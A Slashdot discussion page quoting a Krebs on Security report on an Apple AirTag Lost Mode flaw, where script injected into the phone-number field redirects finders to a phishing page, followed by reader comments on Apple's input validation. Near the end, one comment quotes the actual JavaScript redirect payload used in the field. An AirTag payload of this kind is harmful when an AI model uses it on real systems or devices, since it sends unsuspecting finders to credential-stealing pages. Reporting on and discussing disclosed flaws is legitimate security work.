Apple AirTag Bug Enables 'Good Samaritan' Attack (krebsonsecurity.com) 29
An anonymous reader quotes a report from Krebs On Security: The new $30 AirTag tracking device from Apple has a feature that allows anyone who finds one of these tiny location beacons to scan it with a mobile phone and discover its owner's phone number if the AirTag has been set to lost mode. But according to new research, this same feature can be abused to redirect the Good Samaritan to an iCloud phishing page -- or to any other malicious website. The AirTag's "Lost Mode" lets users alert Apple when an AirTag is missing. Setting it to Lost Mode generates a unique URL at https://found.apple.com/ and allows the user to enter a personal message and contact phone number. Anyone who finds the AirTag and scans it with an Apple or Android phone will immediately see that unique Apple URL with the owner's message.
When scanned, an AirTag in Lost Mode will present a short message asking the finder to call the owner at at their specified phone number. This information pops up without asking the finder to log in or provide any personal information. But your average Good Samaritan might not know this. That's important because Apple's Lost Mode doesn't currently stop users from injecting arbitrary computer code into its phone number field -- such as code that causes the Good Samaritan's device to visit a phony Apple iCloud login page. The vulnerability was discovered and reported to Apple by Bobby Rauch, a security consultant and penetration tester based in Boston. Rauch told KrebsOnSecurity the AirTag weakness makes the devices cheap and possibly very effective physical trojan horses.
When scanned, an AirTag in Lost Mode will present a short message asking the finder to call the owner at at their specified phone number. This information pops up without asking the finder to log in or provide any personal information. But your average Good Samaritan might not know this. That's important because Apple's Lost Mode doesn't currently stop users from injecting arbitrary computer code into its phone number field -- such as code that causes the Good Samaritan's device to visit a phony Apple iCloud login page. The vulnerability was discovered and reported to Apple by Bobby Rauch, a security consultant and penetration tester based in Boston. Rauch told KrebsOnSecurity the AirTag weakness makes the devices cheap and possibly very effective physical trojan horses.
PATHETIC (Score:1)
"Apple's Lost Mode doesn't currently stop users from injecting arbitrary computer code into its phone number field"
That's just shamefully pathetic and sloppy and stupid.
Even my crap-ass code wouldn't allow that.
Re: (Score:2)
Whether they mess up or not, Apple has a terrible record when it comes to remote code execution vulnerabilities:
https://www.cvedetails.com/vul... [cvedetails.com]
Android's for comparison:
https://www.cvedetails.com/vul... [cvedetails.com]
Note the Android count is even disfavored here, as it includes ALL Android devices, whereas the iOS one linked above is just for the phones, also many of the listed vulnerabilities are only present in some specific OEM's device that do not apply to AOSP or possibly even any other phone. If you were to just f
Re: (Score:2)
Oh and those counts also don't include Safari:
https://www.cvedetails.com/vul... [cvedetails.com]
Chrome for comparison:
https://www.cvedetails.com/vul... [cvedetails.com]
Re: (Score:2)
"Apple's Lost Mode doesn't currently stop users from injecting arbitrary computer code into its phone number field"
That's just shamefully pathetic and sloppy and stupid.
Even my crap-ass code wouldn't allow that.
Clearly the problem is Apple isn't paying their programmers enough money. When you go cheap, this is what happens.
Re: PATHETIC (Score:1)
Re: (Score:2)
For a developer? Not really. You're going to get the bottom of the barrel for that rate.
Re: (Score:1)
Perhaps in Silicon Valley. In the real world, that is a significant salary, more than average for programmer-heavy workforces.
Re: (Score:2)
$100,000 isn't enough?
No, $100K will not get you anyone with any real experience or work history in most metropolitan areas or in in most cities. You might get some noobs straight out of school for $80 or $90K.
Re: (Score:2)
And QA since they rely on free external testers. It's not just Apple too!
Re: (Score:2)
"Apple's Lost Mode doesn't currently stop users from injecting arbitrary computer code into its phone number field"
That's just shamefully pathetic and sloppy and stupid.
Even my crap-ass code wouldn't allow that.
So you think it isn't just as stupid for the recipient's phone not to sanitize input data?
Re: (Score:2)
So you think it isn't just as stupid for the recipient's phone not to sanitize input data?
No, I think it's stupid that the app the developers wrote didn't screen for that.
As for the phone, I don't know if it has enough brains to determine when a field should only take numbers. Mine doesn't. I can go to lots of forms on the web and enter all kinds of shit into all sorts of fields. Unless the developer restricts what goes in there, I don't see how my phone would know or be responsible.
Should your PC's keyboard restrict what you type into a field? No, and a phone is no different. Your phone doesn't
Re: (Score:2)
So you think it isn't just as stupid for the recipient's phone not to sanitize input data?
No, I think it's stupid that the app the developers wrote didn't screen for that.
As for the phone, I don't know if it has enough brains to determine when a field should only take numbers. Mine doesn't. I can go to lots of forms on the web and enter all kinds of shit into all sorts of fields. Unless the developer restricts what goes in there, I don't see how my phone would know or be responsible.
Should your PC's keyboard restrict what you type into a field? No, and a phone is no different. Your phone doesn't know what kind of field you're entering stuff into, so why would it restrict what you enter?
In short, it's not the phone's fault per se, since they're using an app it's really on the shoulders of the app developer.
Ok, I'll give you that. The code processing the web-form should be sanitizing the input for that Text Field.
Don’t plug in any USB sticks you find (Score:2)
and don’t scan any AirTags either.
Re: Don’t plug in any USB sticks you find (Score:2)
Re: (Score:2)
disable your emoji quotes, ifriend
No other site on which I have ever posted has had a problem with valid Unicode curly-quotes.
Therefore, the problem seems to lie squarely on the shoulders of Slashdot's retarded web-monkeys, not the site's users.
Got it?
Re: (Score:2)
The site uses UTF-8. Except it has a very restrictive Unicode whitelist of allowed characters (basically codepoints 32-127 or so, aka, the printable ASCII set).
If you know anything about Unicode, you know why this is. If you don't, it's because Unicode is an evolving standard, and there are ma
Re: (Score:2)
The site uses UTF-8. Except it has a very restrictive Unicode whitelist of allowed characters (basically codepoints 32-127 or so, aka, the printable ASCII set).
If you know anything about Unicode, you know why this is. If you don't, it's because Unicode is an evolving standard, and there are many characters that can break things horribly. Enough that trolls on many sites do it all the time when they find Unicode-enabled text boxes that literally accept everything. These can result in crashes or vulnerabilities, or more often, just completely screwing with the layout of the site or making the entire page unreadable.
And since Unicode evolves rapidly, you can't ban the "bad" codepoints. After all, that's like banning by email address. So the only way is a whitelist, which is made extra restrictive
Site's not broken, the site owners have chosen to avoid trolls being able to screw with things
I am certainly no Unicode expert; but from what I infer from your post, it would seem that they could simply Whitelist the single and double curly-quotes, and the ellipsis character. That will cover 99% of the useless annoyances when composing posts.
Re: (Score:1)
But it was so hard to resist that one I found in a parking lot labeled “Bitcoin wallet”! Next you’ll be telling me I shouldn’t have opened those e-mails from the prince of Nigeria, either.
Re: (Score:2)
Or scan any randomly-found QR codes?
I think the quote is (Score:4, Insightful)
No good deed goes unpunished.
Re: (Score:1)
AirTags are not a good dead, and this is another classic Apple fuck-up.
The exploit is using the fact that Apple doesn't properly validate the input when you enter a phone number for the tag, and then doesn't properly validate the data from the tag when displaying it on your phone. So two failures to validate, which seems to be a common theme with Apple. Over the years we have seen them not rate limit iCloud password guesses, and multiple instances of iOS exploits using malformed web pages or SMS messages.
As
Re: (Score:2)
AirTags are not a good dead, and this is another classic Apple fuck-up.
I meant returning them.
Apple should have made them an open standard and got Google to implement support in Android so that at least anyone with a phone will be alerted if they are being covertly tracked. They managed to cooperate on COVID contact tracing using Bluetooth. But no, it's an Apple exclusive and only iPhones will warn you if you are being stalked.
Apple shouldn't have bothered to sabotage the companies that already build very similar products, and should have instead just worked with them to create a shared iOS experience for all of their trackers that works better than those other manufacturers' apps, to make iOS better, rather than using their rather large market power to take over another market by force.
Compared with that, Apple's almost unwavering failure to support open standards since S.J. died is a minor evil.
You're Losing It Wrong (Score:2)
By the way, your new iPad looks delicious!
Would you like some jelly to go with that?
I don't get it... (Score:2)
Is Apple not sanitizing the input of the phone field ? Does anyone has a link with how this actually works ?
Re: (Score:2)
Yes, TFA has a link [medium.com] to the code used.
It's this, wrapped in "script" tags (which I can't include because they trigger the ASCII art filter):
window.location=’https://10.0.1.137:8000/indexer.html’;var a = ‘’;
Re: (Score:2)
Ooh, that's embarrassingly bad. This is taught in the first 15 minutes of any web security training.